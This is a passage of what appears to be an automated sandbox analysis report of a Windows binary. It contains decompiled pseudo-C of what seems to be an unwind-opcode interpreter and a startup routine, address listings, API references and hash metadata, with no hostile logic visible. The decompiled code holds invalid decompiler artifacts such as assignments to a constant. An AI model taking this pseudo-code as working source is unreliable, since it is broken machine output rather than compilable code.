								case 0x11:
									L83:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L84:
										__eax = __eax - 1;
										__edi = __eax;
										_a20 = __eax;
										__eax = __esi + 3;
										__edx =  *(__esp + 0x30 + __edi * 4);
										__eflags =  *(__esp + 0x30 + __edi * 4);
										if( *(__esp + 0x30 + __edi * 4) == 0) {
											__esi = __eax;
										} else {
											__esi =  *(__esi + 1);
											__esi = __esi + __eax;
										}
										goto L12;
									}
									goto L142;
								case 0x12:
									L87:
									__eax =  *(__esi + 1);
									__esi = __esi +  *(__esi + 1) + 3;
									goto L12;
								case 0x13:
									L86:
									__edi = __eax - 0x30;
									__ebp = _a20;
									__esi = __ebx;
									goto L10;
								case 0x14:
									L50:
									__eax = __eax - 0x50;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L129;
									} else {
										L51:
										__esi = _a28;
										__edx =  *(__eax + 0x6073f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L53:
											__eflags = __dl - 4;
											if(__dl == 4) {
												goto L39;
											} else {
												L54:
												goto L129;
											}
										} else {
											L52:
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												goto L94;
											} else {
												goto L53;
											}
										}
									}
									goto L142;
								case 0x15:
									L40:
									__ebp = 0;
									__ecx = 0;
									__eflags = 0;
									__esi = __eax;
									do {
										L41:
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										__eax = __eax & 0x0000007f;
										__edx = (__eax & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__ebp = __ebp | (__eax & 0x0000007f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__edi = __eax;
									__eax = __esi;
									__esi = __edi;
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__esi = __esi & 0x00000040;
										__eflags = __esi;
										if(__esi != 0) {
											1 = 1 << __cl;
											__edx =  ~(1 << __cl);
											__ebp = __ebp |  ~(1 << __cl);
										}
									}
									__eax = __eax - 0x70;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L129;
									} else {
										L45:
										__esi = _a28;
										__edx =  *(__eax + 0x6073f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L47:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L129;
											} else {
												L48:
												__edi =  *__edi;
												goto L49;
											}
										} else {
											L46:
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												L49:
												__edi = __edi + __ebp;
												__esi = __ebx;
												__ebp = _a20;
												goto L10;
											} else {
												goto L47;
											}
										}
									}
									goto L142;
								case 0x16:
									L33:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L34:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L129;
									} else {
										L36:
										__ecx = _a28;
										__eax =  *(__esi + 0x6073f4) & 0x000000ff;
										__edi =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L38:
											__eflags = __al - 4;
											if(__al != 4) {
												goto L129;
											} else {
												L39:
												__edi =  *__edi;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											}
										} else {
											L37:
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L94:
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L38;
											}
										}
									}
									goto L142;
								case 0x17:
									L71:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L72:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L74:
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__edx = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__eflags = __al & 0x00000040;
										if((__al & 0x00000040) != 0) {
											1 = 1 << __cl;
											__eax =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L129;
									} else {
										L78:
										__ecx = _a28;
										__edx =  *(__esi + 0x6073f4) & 0x000000ff;
										__eax =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L80:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L129;
											} else {
												L81:
												__eax =  *__eax;
												goto L82;
											}
										} else {
											L79:
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L82:
												__edi = __edi + __eax;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L80;
											}
										}
									}
									goto L142;
								case 0x18:
									L17:
									__esi = __ebx;
									goto L12;
								case 0x19:
									L32:
									__ebx =  *(__esi + 1) & 0x000000ff;
									__edx = _a28;
									__edi =  &_a44;
									__eax = __ebx;
									__eax = L00420C00(__ebx, __ecx, _a28);
									 *__esp =  &_a44;
									__ecx = __esi + 2;
									__edx = __eax;
									__eax = __ebx;
									__eax = E00420AC0(__ebx, __esi + 2, __edx);
									__edi = _a44;
									__ebp = _a20;
									__esi = __eax;
									goto L10;
								case 0x1a:
									L111:
									__edi = __edi & __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1b:
									L112:
									__eax = __edi;
									__esi = __ebx;
									asm("cdq");
									_t169 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t169;
									__edi = __eax;
									goto L10;
								case 0x1c:
									L113:
									__edi = __edi - __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1d:
									L114:
									__eax = __edi;
									__edx = 0;
									__esi = __ebx;
									_t173 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t173;
									__edi = _t173;
									goto L10;
								case 0x1e:
									L115:
									__edi = __edi * __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1f:
									L116:
									__edi = __edi | __ecx;
									__esi = __ebx;
									goto L10;
								case 0x20:
									L117:
									__edi = __edi + __ecx;
									__esi = __ebx;
									goto L10;
								case 0x21:
									L118:
									__edi = __edi << __cl;
									__esi = __ebx;
									goto L10;
								case 0x22:
									L119:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x23:
									L120:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x24:
									L121:
									__edi = __edi ^ __ecx;
									__esi = __ebx;
									goto L10;
								case 0x25:
									L122:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags == 0x00000000;
									__edi = __eflags == 0;
									goto L10;
								case 0x26:
									L123:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags >= 0x00000000;
									__edi = __eflags >= 0;
									goto L10;
								case 0x27:
									L124:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags > 0x00000000;
									__edi = __eflags > 0;
									goto L10;
								case 0x28:
									L125:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags <= 0x00000000;
									__edi = __eflags <= 0;
									goto L10;
								case 0x29:
									L126:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags < 0x00000000;
									__edi = __eflags < 0;
									goto L10;
								case 0x2a:
									L127:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags != 0x00000000;
									__edi = __eflags != 0;
									L10:
									__eflags = __ebp - 0x3f;
									if(__ebp > 0x3f) {
										goto L129;
									} else {
										L11:
										__eax =  &_a1;
										 *(__esp + 0x30 + __ebp * 4) = __edi;
										_a20 =  &_a1;
										goto L12;
									}
									goto L142;
							}
						}
						L142:
					}
					L13:
					__eax = _a20;
					if(__eax == 0) {
						break;
					} else {
						L14:
						__eax =  *(__esp + 0x2c + __eax * 4);
						__esp = __esp + 0x13c;
						_pop(__ebx);
						_pop(__esi);
						return __eax;
					}
					goto L142;
				}
				L129:
				abort();
				L0042F4C0();
				abort();
				abort();
				abort();
				L0042F4C0();
				L0042F4C0();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				_t208 = _t207 - 0x1c;
				 *_t208 = "libgcc_s_dw2-1.dll";
				_t189 = GetModuleHandleA(_t195);
				_t209 = _t208 - 4;
				if(_t189 == 0) {
					 *0x4b6004 = 0x424590;
					_t202 = E00424340;
				} else {
					_t197 = _t189;
					 *_t209 = "libgcc_s_dw2-1.dll";
					_t192 = LoadLibraryA(??);
					_t211 = _t209 - 4;
					 *0x607df0 = _t192;
					_v40 = "__register_frame_info";
					 *_t211 = _t197;
					_t193 = GetProcAddress(??, ??);
					_t212 = _t211 - 8;
					_t202 = _t193;
					_v40 = "__deregister_frame_info";
					 *_t212 = _t197;
					 *0x4b6004 = GetProcAddress(??, ??);
					_t209 = _t212 - 8;
				}
				if(_t202 != 0) {
					_v40 = 0x60701c;
					 *_t209 = 0x5ca0f8;
					 *_t202();
				}
				 *_t209 = 0x401590;
				return E004014C0();
				goto L142;
			}

0x00421f45
0x00421f45
0x00421f45
0x00421f45
0x00421f4c
0x00000000
0x00000000
0x00421f52
0x00421f52
0x00421f55
0x00421f58
0x00421f5c
0x00421f60
0x00421f64
0x00421f66
0x00421b34
0x00421b34
0x00421b38
0x00000000
0x00000000
0x00421af0
0x00421af0
0x00421af3
0x00421af6
0x00421af9
0x00421afe
0x00421fb9
0x00421fb9
0x00000000
0x00421b04
0x00421b04
0x00421b04
0x00421b07
0x00000000
0x00421b10
0x00421b10
0x00421b14
0x00421b17
0x00421b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ba0
0x00421ba0
0x00421ba4
0x00421ba6
0x00000000
0x00421bac
0x00421bac
0x00421bac
0x00421bae
0x00421bb1
0x00421bb5
0x00421bb8
0x00422059
0x00422059
0x0042205b
0x00421bbe
0x00421bbe
0x00421bbe
0x00421fc0
0x00421fc0
0x00421fc3
0x00421fd0
0x00421fd0
0x00421fd3
0x00000000
0x00421fd5
0x00421fd5
0x00421fd5
0x00421fd7
0x00421fd9
0x00421fdc
0x00421fde
0x00421fde
0x00421fc5
0x00421fc5
0x00421fc5
0x00421fc7
0x00421fc7
0x00421bc4
0x00421bc4
0x00421bc4
0x00421bc7
0x00421ff0
0x00421ff0
0x00421ff2
0x00421ff2
0x00421ff4
0x00421ff4
0x00421ff4
0x00421ff7
0x00421ffd
0x00422000
0x00422002
0x00422005
0x00422007
0x00422007
0x0042200b
0x0042200d
0x00421bcd
0x00421bcd
0x00421bcd
0x00421bd0
0x00421fb0
0x00421fb0
0x00421fb3
0x00422050
0x00422050
0x00422052
0x00000000
0x00000000
0x00000000
0x00421bd6
0x00421bd6
0x00421bd6
0x00421bda
0x00421bdd
0x00421bdf
0x00422131
0x00422131
0x00422134
0x00421be5
0x00421be5
0x00421be5
0x00422034
0x00422034
0x00422036
0x00000000
0x0042203c
0x0042203c
0x0042203c
0x0042203f
0x0042203f
0x00421beb
0x00421beb
0x00421beb
0x00421bed
0x00421bf7
0x00421bf7
0x00421bf9
0x00421bef
0x00421bef
0x00421bef
0x00421bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x00421bf1
0x00421bed
0x00421be5
0x00421bdf
0x00421bd0
0x00421bc7
0x00421bbe
0x00000000
0x00421bb8
0x00000000
0x00000000
0x00421b90
0x00421b90
0x00421b94
0x00421b98
0x00000000
0x00000000
0x00421b80
0x00421b80
0x00421b84
0x00421b88
0x00000000
0x00000000
0x00421b72
0x00421b72
0x00421b76
0x00421b7a
0x00000000
0x00000000
0x00421b65
0x00421b65
0x00421b69
0x00421b6d
0x00000000
0x00000000
0x00421b55
0x00421b55
0x00421b58
0x00421b5c
0x00000000
0x00000000
0x00421e13
0x00421e13
0x00421e15
0x00421e17
0x00421e17
0x00421e20
0x00421e20
0x00421e20
0x00421e23
0x00421e29
0x00421e2c
0x00421e2e
0x00421e31
0x00421e33
0x00421e33
0x00421e37
0x00000000
0x00000000
0x00421dd0
0x00421dd0
0x00421dd2
0x00421dd2
0x00421dd4
0x00421dd4
0x00421dd4
0x00421dd7
0x00421ddd
0x00421de0
0x00421de2
0x00421de5
0x00421de7
0x00421de7
0x00421deb
0x00421dee
0x00000000
0x00421df4
0x00421df4
0x00421df4
0x00421df4
0x00421df7
0x00000000
0x00421dfd
0x00421dfd
0x00421dfd
0x00421e02
0x00421e06
0x00421e0a
0x00421e0c
0x00421e0c
0x00421df7
0x00000000
0x00000000
0x00421db0
0x00421db0
0x00421db4
0x00421db6
0x00000000
0x00421dbc
0x00421dbc
0x00421dbc
0x00421dc0
0x00000000
0x00421dc0
0x00000000
0x00000000
0x00421d90
0x00421d90
0x00421d94
0x00421d96
0x00000000
0x00421d9c
0x00421d9c
0x00421d9c
0x00421d9f
0x00421da1
0x00000000
0x00421da1
0x00000000
0x00000000
0x00421d73
0x00421d73
0x00421d77
0x00421d7a
0x00000000
0x00421d80
0x00421d80
0x00421d80
0x00421d84
0x00000000
0x00421d84
0x00000000
0x00000000
0x00421d50
0x00421d50
0x00421d54
0x00421d58
0x00421d5b
0x00421d5e
0x00421d60
0x00000000
0x00421d66
0x00421d66
0x00421d66
0x00421d68
0x00421d6a
0x00000000
0x00421d6a
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f10
0x00421f10
0x00421f14
0x00421f17
0x00000000
0x00421f1d
0x00421f1d
0x00421f1d
0x00421f20
0x00421f23
0x00421f26
0x00421f2a
0x00421f2e
0x00421f32
0x00421f36
0x00421f3a
0x00421f3e
0x00000000
0x00421f3e
0x00000000
0x00000000
0x00421f70
0x00421f70
0x00421f74
0x00421f77
0x00000000
0x00421f7d
0x00421f7d
0x00421f7d
0x00421f80
0x00421f83
0x00421f87
0x00421f8b
0x00421f8e
0x00000000
0x00421f90
0x00421f90
0x00421f90
0x00421f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f93
0x00000000
0x00421f8e
0x00000000
0x00000000
0x00421ec0
0x00421ec0
0x00421ec4
0x00421ec6
0x00000000
0x00421ecc
0x00421ecc
0x00421ecc
0x00421ecf
0x00421ed1
0x00421ed5
0x00421ed8
0x00421edc
0x00421ede
0x00421fe5
0x00421ee4
0x00421ee4
0x00421ee8
0x00421ee8
0x00000000
0x00421ede
0x00000000
0x00000000
0x00421f00
0x00421f00
0x00421f04
0x00000000
0x00000000
0x00421ef0
0x00421ef0
0x00421ef3
0x00421ef7
0x00000000
0x00000000
0x00421d10
0x00421d10
0x00421d13
0x00421d16
0x00000000
0x00421d1c
0x00421d1c
0x00421d1c
0x00421d20
0x00421d27
0x00421d2a
0x00421d2e
0x00421d3b
0x00421d3b
0x00421d3e
0x00000000
0x00421d44
0x00421d44
0x00000000
0x00421d44
0x00421d30
0x00421d30
0x00421d30
0x00421d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d35
0x00421d2e
0x00000000
0x00000000
0x00421c90
0x00421c90
0x00421c92
0x00421c92
0x00421c94
0x00421ca0
0x00421ca0
0x00421ca0
0x00421ca3
0x00421ca9
0x00421cac
0x00421cae
0x00421cb1
0x00421cb3
0x00421cb3
0x00421cb7
0x00421cb9
0x00421cbb
0x00421cbd
0x00421cc0
0x00421cc2
0x00421cc2
0x00421cc5
0x00422029
0x0042202b
0x0042202d
0x0042202d
0x00421cc5
0x00421ccb
0x00421cce
0x00421cd1
0x00000000
0x00421cd7
0x00421cd7
0x00421cd7
0x00421cdb
0x00421ce2
0x00421ce5
0x00421ce9
0x00421cf2
0x00421cf2
0x00421cf5
0x00000000
0x00421cfb
0x00421cfb
0x00421cfb
0x00000000
0x00421cfb
0x00421ceb
0x00421ceb
0x00421ceb
0x00421cf0
0x00421cfd
0x00421cfd
0x00421cff
0x00421d01
0x00000000
0x00000000
0x00000000
0x00000000
0x00421cf0
0x00421ce9
0x00000000
0x00000000
0x00421c31
0x00421c31
0x00421c33
0x00421c33
0x00421c35
0x00421c35
0x00421c35
0x00421c38
0x00421c3e
0x00421c41
0x00421c43
0x00421c46
0x00421c48
0x00421c48
0x00421c4c
0x00421c4f
0x00000000
0x00421c55
0x00421c55
0x00421c55
0x00421c59
0x00421c60
0x00421c63
0x00421c67
0x00421c74
0x00421c74
0x00421c76
0x00000000
0x00421c7c
0x00421c7c
0x00421c7c
0x00421c7e
0x00421c82
0x00000000
0x00421c82
0x00421c69
0x00421c69
0x00421c69
0x00421c6e
0x00421fa0
0x00421fa0
0x00421fa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c6e
0x00421c67
0x00000000
0x00000000
0x00421e40
0x00421e40
0x00421e42
0x00421e42
0x00421e44
0x00421e44
0x00421e44
0x00421e47
0x00421e4d
0x00421e50
0x00421e52
0x00421e55
0x00421e57
0x00421e57
0x00421e5b
0x00421e5d
0x00421e5d
0x00421e60
0x00421e60
0x00421e60
0x00421e63
0x00421e69
0x00421e6c
0x00421e6e
0x00421e71
0x00421e73
0x00421e73
0x00421e77
0x00421e7a
0x00421e7c
0x00421e7e
0x00422019
0x0042201b
0x0042201d
0x0042201d
0x00421e7e
0x00421e84
0x00421e87
0x00000000
0x00421e8d
0x00421e8d
0x00421e8d
0x00421e91
0x00421e98
0x00421e9b
0x00421e9f
0x00421ea8
0x00421ea8
0x00421eab
0x00000000
0x00421eb1
0x00421eb1
0x00421eb1
0x00000000
0x00421eb1
0x00421ea1
0x00421ea1
0x00421ea1
0x00421ea6
0x00421eb3
0x00421eb3
0x00421eb5
0x00421eb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ea6
0x00421e9f
0x00000000
0x00000000
0x00421b61
0x00421b61
0x00000000
0x00000000
0x00421c00
0x00421c00
0x00421c04
0x00421c08
0x00421c0c
0x00421c0e
0x00421c13
0x00421c16
0x00421c19
0x00421c1b
0x00421c1d
0x00421c22
0x00421c26
0x00421c2a
0x00000000
0x00000000
0x00422062
0x00422062
0x00422064
0x00000000
0x00000000
0x0042206b
0x0042206b
0x0042206d
0x0042206f
0x00422070
0x00422070
0x00422070
0x00422072
0x00000000
0x00000000
0x00422079
0x00422079
0x0042207b
0x00000000
0x00000000
0x00422082
0x00422082
0x00422084
0x00422086
0x00422088
0x00422088
0x00422088
0x0042208a
0x00000000
0x00000000
0x00422091
0x00422091
0x00422094
0x00000000
0x00000000
0x0042209b
0x0042209b
0x0042209d
0x00000000
0x00000000
0x004220a4
0x004220a4
0x004220a6
0x00000000
0x00000000
0x004220ad
0x004220ad
0x004220af
0x00000000
0x00000000
0x004220b6
0x004220b6
0x004220b8
0x00000000
0x00000000
0x004220bf
0x004220bf
0x004220c1
0x00000000
0x00000000
0x004220c8
0x004220c8
0x004220ca
0x00000000
0x00000000
0x004220d1
0x004220d1
0x004220d3
0x004220d5
0x004220d7
0x004220da
0x00000000
0x00000000
0x004220e1
0x004220e1
0x004220e3
0x004220e5
0x004220e7
0x004220ea
0x00000000
0x00000000
0x004220f1
0x004220f1
0x004220f3
0x004220f5
0x004220f7
0x004220fa
0x00000000
0x00000000
0x00422101
0x00422101
0x00422103
0x00422105
0x00422107
0x0042210a
0x00000000
0x00000000
0x00422111
0x00422111
0x00422113
0x00422115
0x00422117
0x0042211a
0x00000000
0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00421b20
0x00421b20
0x00421b23
0x00000000
0x00421b29
0x00421b29
0x00421b29
0x00421b2c
0x00421b30
0x00000000
0x00421b30
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b3a
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b46
0x00421b4a
0x00421b50
0x00421b51
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00000000

APIs

abort.MSVCRT ref: 004AE616
abort.MSVCRT ref: 004AE61B
abort.MSVCRT ref: 004AE620
abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: d1f8c14860b2c50a9fc84c7e6a86403fba0ebe462aa34987c4c42891d2684921
Instruction ID: 0045d38f09994cc1ce5cbefe8dc5dee60654e44e74ca71f19056ff4b41ad0b6c
Opcode Fuzzy Hash: d1f8c14860b2c50a9fc84c7e6a86403fba0ebe462aa34987c4c42891d2684921
Instruction Fuzzy Hash: AAE04F3066A2228BC251BF5DB18902EF3B5BFA5708FD53EBFE544E3205D765B814460A

Uniqueness

Uniqueness Score: -1.00%

Function 00421D8C Relevance: 21.0, APIs: 14, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00421D8C(CHAR* __ebx, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t188;
				struct HINSTANCE__* _t191;
				_Unknown_base(*)()* _t192;
				CHAR* _t194;
				struct HINSTANCE__* _t196;
				_Unknown_base(*)()* _t201;
				void* _t206;
				char** _t207;
				char** _t208;
				struct HINSTANCE__** _t210;
				struct HINSTANCE__** _t211;

				_t194 = __ebx;
				while(1) {
					L59:
					__eax = _a20;
					if(__eax == 0) {
						break;
					}
					__eax = __eax - 1;
					__esi = __ebx;
					_a20 = __eax;
					while(1) {
						L12:
						if(_a24 <= __esi) {
							break;
						}
						__eax =  *__esi & 0x000000ff;
						__ebx = __esi + 1;
						__ecx = __eax - 3;
						if(__cl > 0xee) {
							L97:
							abort();
							goto L98;
						} else {
							__ecx = __cl & 0x000000ff;
							switch( *((intOrPtr*)(__ecx * 4 +  &M005C3C10))) {
								case 0:
									__ebp = _a20;
									__edi =  *(__esi + 1);
									__esi = __esi + 5;
									__eflags = __esi;
									goto L10;
								case 1:
									goto L97;
								case 2:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L130;
									} else {
										__ebp = __eax;
										__ebp =  &_v1;
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x1f;
										if(__eflags == 0) {
											__edi =  ~__edi;
											__esi = __ebx;
										} else {
											if(__eflags <= 0) {
												L98:
												__eflags = __dl - 6;
												if(__dl != 6) {
													__eflags = __dl - 0x19;
													if(__dl != 0x19) {
														goto L97;
													} else {
														__eax = __edi;
														__esi = __ebx;
														__eax = __edi >> 0x1f;
														__edi = __edi ^ __eax;
														__edi = __edi - __eax;
													}
												} else {
													__edi =  *__edi;
													__esi = __ebx;
												}
											} else {
												__eflags = __dl - 0x23;
												if(__dl == 0x23) {
													__esi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__edi = __edi + __esi;
													__esi = __ebx;
												} else {
													__eflags = __dl - 0x94;
													if(__dl != 0x94) {
														__eflags = __dl - 0x20;
														if(__dl == 0x20) {
															__edi =  !__edi;
															__esi = __ebx;
														} else {
															goto L97;
														}
													} else {
														__eax =  *(__esi + 1) & 0x000000ff;
														__edx = __esi + 2;
														__eflags = __al - 2;
														if(__eflags == 0) {
															__edi =  *__edi & 0x0000ffff;
															__esi = __edx;
														} else {
															if(__eflags <= 0) {
																__eflags = __al - 1;
																if(__al != 1) {
																	goto L97;
																} else {
																	__edi =  *__edi & 0x000000ff;
																	__esi = __edx;
																}
															} else {
																__eflags = __al - 4;
																if(__al == 4) {
																	L31:
																	__edi =  *__edi;
																	__esi = __edx;
																} else {
																	__eflags = __al - 8;
																	if(__al != 8) {
																		goto L97;
																	} else {
																		goto L31;
																	}
																}
															}
														}
													}
												}
											}
										}
										goto L10;
									}
									goto L143;
								case 3:
									__edi =  *(__esi + 1) & 0x000000ff;
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 4:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 5:
									__edi =  *(__esi + 1) & 0x0000ffff;
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 6:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 7:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 9;
									goto L10;
								case 8:
									__esi = __ebx;
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										__esi = __esi + 1;
										__edx =  *(__esi - 1) & 0x000000ff;
										 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
										__eax = ( *(__esi - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__ebp = _a20;
									goto L10;
								case 9:
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										__edx = __edx & 0x0000007f;
										__eax = (__edx & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | (__edx & 0x0000007f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx > 0x1f) {
										goto L95;
									} else {
										__edx = __edx & 0x00000040;
										__eflags = __edx;
										if(__edx == 0) {
											goto L95;
										} else {
											__eax = 1;
											__ebp = _a20;
											__esi = __ebx;
											1 << __cl =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									goto L10;
								case 0xa:
									__ebp = _a20;
